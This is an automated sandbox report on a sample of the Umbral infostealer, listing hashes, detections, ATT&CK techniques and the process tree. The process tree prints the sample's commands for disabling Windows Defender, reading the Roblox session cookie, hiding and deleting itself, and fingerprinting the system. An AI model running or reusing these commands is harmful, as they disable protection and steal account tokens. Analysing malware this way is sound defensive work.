umbral | 25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
01-06-2024 11:27

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General

Target

25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe
Size

235KB
MD5

32099bdcf2a8c75821bc048193d3b1f5
SHA1

3a28da976bdb4f301dc94afcd0cf2ed60e0c0065
SHA256

25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19
SHA512

e13e0c78cff7e9603c2cee4c720d5680c3ddbd0a21303dcd67733c06f284f7657cdfd10544e6cab470f4d92129a5e8c98684cb518b204ffcfba439249bcaa18c
SSDEEP

6144:TloZM+rIkd8g+EtXHkv/iD4agl0LxCqVYQhTuOLKDb8e1moiLiP:RoZtL+EP8agl0LxCqVYQhTuOLM3J

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2424-1-0x0000000001280000-0x00000000012C0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2800	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe

Deletes itself 1 IoCs

pid	Process
2116	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1504	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2292	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe
2800	powershell.exe
2680	powershell.exe
2792	powershell.exe
2880	powershell.exe
2584	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe
Token: SeIncreaseQuotaPrivilege	2308	wmic.exe
Token: SeSecurityPrivilege	2308	wmic.exe
Token: SeTakeOwnershipPrivilege	2308	wmic.exe
Token: SeLoadDriverPrivilege	2308	wmic.exe
Token: SeSystemProfilePrivilege	2308	wmic.exe
Token: SeSystemtimePrivilege	2308	wmic.exe
Token: SeProfSingleProcessPrivilege	2308	wmic.exe
Token: SeIncBasePriorityPrivilege	2308	wmic.exe
Token: SeCreatePagefilePrivilege	2308	wmic.exe
Token: SeBackupPrivilege	2308	wmic.exe
Token: SeRestorePrivilege	2308	wmic.exe
Token: SeShutdownPrivilege	2308	wmic.exe
Token: SeDebugPrivilege	2308	wmic.exe
Token: SeSystemEnvironmentPrivilege	2308	wmic.exe
Token: SeRemoteShutdownPrivilege	2308	wmic.exe
Token: SeUndockPrivilege	2308	wmic.exe
Token: SeManageVolumePrivilege	2308	wmic.exe
Token: 33	2308	wmic.exe
Token: 34	2308	wmic.exe
Token: 35	2308	wmic.exe
Token: SeIncreaseQuotaPrivilege	2308	wmic.exe
Token: SeSecurityPrivilege	2308	wmic.exe
Token: SeTakeOwnershipPrivilege	2308	wmic.exe
Token: SeLoadDriverPrivilege	2308	wmic.exe
Token: SeSystemProfilePrivilege	2308	wmic.exe
Token: SeSystemtimePrivilege	2308	wmic.exe
Token: SeProfSingleProcessPrivilege	2308	wmic.exe
Token: SeIncBasePriorityPrivilege	2308	wmic.exe
Token: SeCreatePagefilePrivilege	2308	wmic.exe
Token: SeBackupPrivilege	2308	wmic.exe
Token: SeRestorePrivilege	2308	wmic.exe
Token: SeShutdownPrivilege	2308	wmic.exe
Token: SeDebugPrivilege	2308	wmic.exe
Token: SeSystemEnvironmentPrivilege	2308	wmic.exe
Token: SeRemoteShutdownPrivilege	2308	wmic.exe
Token: SeUndockPrivilege	2308	wmic.exe
Token: SeManageVolumePrivilege	2308	wmic.exe
Token: 33	2308	wmic.exe
Token: 34	2308	wmic.exe
Token: 35	2308	wmic.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeIncreaseQuotaPrivilege	2008	wmic.exe
Token: SeSecurityPrivilege	2008	wmic.exe
Token: SeTakeOwnershipPrivilege	2008	wmic.exe
Token: SeLoadDriverPrivilege	2008	wmic.exe
Token: SeSystemProfilePrivilege	2008	wmic.exe
Token: SeSystemtimePrivilege	2008	wmic.exe
Token: SeProfSingleProcessPrivilege	2008	wmic.exe
Token: SeIncBasePriorityPrivilege	2008	wmic.exe
Token: SeCreatePagefilePrivilege	2008	wmic.exe
Token: SeBackupPrivilege	2008	wmic.exe
Token: SeRestorePrivilege	2008	wmic.exe
Token: SeShutdownPrivilege	2008	wmic.exe
Token: SeDebugPrivilege	2008	wmic.exe
Token: SeSystemEnvironmentPrivilege	2008	wmic.exe
Token: SeRemoteShutdownPrivilege	2008	wmic.exe
Token: SeUndockPrivilege	2008	wmic.exe
Token: SeManageVolumePrivilege	2008	wmic.exe
Token: 33	2008	wmic.exe
Token: 34	2008	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2424 wrote to memory of 2308	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	28
PID 2424 wrote to memory of 2308	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	28
PID 2424 wrote to memory of 2308	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	28
PID 2424 wrote to memory of 2620	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	31
PID 2424 wrote to memory of 2620	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	31
PID 2424 wrote to memory of 2620	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	31
PID 2424 wrote to memory of 2800	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	33
PID 2424 wrote to memory of 2800	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	33
PID 2424 wrote to memory of 2800	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	33
PID 2424 wrote to memory of 2680	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	35
PID 2424 wrote to memory of 2680	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	35
PID 2424 wrote to memory of 2680	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	35
PID 2424 wrote to memory of 2792	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	37
PID 2424 wrote to memory of 2792	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	37
PID 2424 wrote to memory of 2792	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	37
PID 2424 wrote to memory of 2880	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	39
PID 2424 wrote to memory of 2880	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	39
PID 2424 wrote to memory of 2880	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	39
PID 2424 wrote to memory of 2008	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	41
PID 2424 wrote to memory of 2008	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	41
PID 2424 wrote to memory of 2008	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	41
PID 2424 wrote to memory of 1980	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	43
PID 2424 wrote to memory of 1980	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	43
PID 2424 wrote to memory of 1980	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	43
PID 2424 wrote to memory of 792	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	45
PID 2424 wrote to memory of 792	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	45
PID 2424 wrote to memory of 792	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	45
PID 2424 wrote to memory of 2584	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	47
PID 2424 wrote to memory of 2584	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	47
PID 2424 wrote to memory of 2584	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	47
PID 2424 wrote to memory of 1504	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	49
PID 2424 wrote to memory of 1504	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	49
PID 2424 wrote to memory of 1504	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	49
PID 2424 wrote to memory of 2116	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	51
PID 2424 wrote to memory of 2116	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	51
PID 2424 wrote to memory of 2116	2424	25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe	51
PID 2116 wrote to memory of 2292	2116	cmd.exe	53
PID 2116 wrote to memory of 2292	2116	cmd.exe	53
PID 2116 wrote to memory of 2292	2116	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2620	attrib.exe

C:\Users\Admin\AppData\Local\Temp\25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe
"C:\Users\Admin\AppData\Local\Temp\25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2308
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe"
  2⤵
  - Views/modifies file attributes
  PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2880
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2008
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1980
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2584
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1504
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
738c2121c5085ad8e6353d173cd3c7b4

SHA1
b62afd25081ea6b66301b9787f2351ac6b5c18ff

SHA256
13b7c1c50246580020bf8a716e4cf3c7f7ffb510191172939ac5cb47300072f8

SHA512
4ea8f49476cd7b716807f737ea0b19394aeeb070b4050ad762de0f72f860e1f0e31c83ac7685a162f2fe9ead263a145e48651080c88ec2c6b44f806b1a9a855d

Download Submit
memory/2424-0-0x000007FEF5823000-0x000007FEF5824000-memory.dmp

Filesize
4KB

Download
memory/2424-1-0x0000000001280000-0x00000000012C0000-memory.dmp

Filesize
256KB

Download
memory/2424-2-0x000007FEF5820000-0x000007FEF620C000-memory.dmp

Filesize
9.9MB

Download
memory/2424-48-0x000007FEF5820000-0x000007FEF620C000-memory.dmp

Filesize
9.9MB

Download
memory/2584-44-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/2680-14-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/2680-15-0x0000000002000000-0x0000000002008000-memory.dmp

Filesize
32KB

Download
memory/2800-7-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2800-8-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download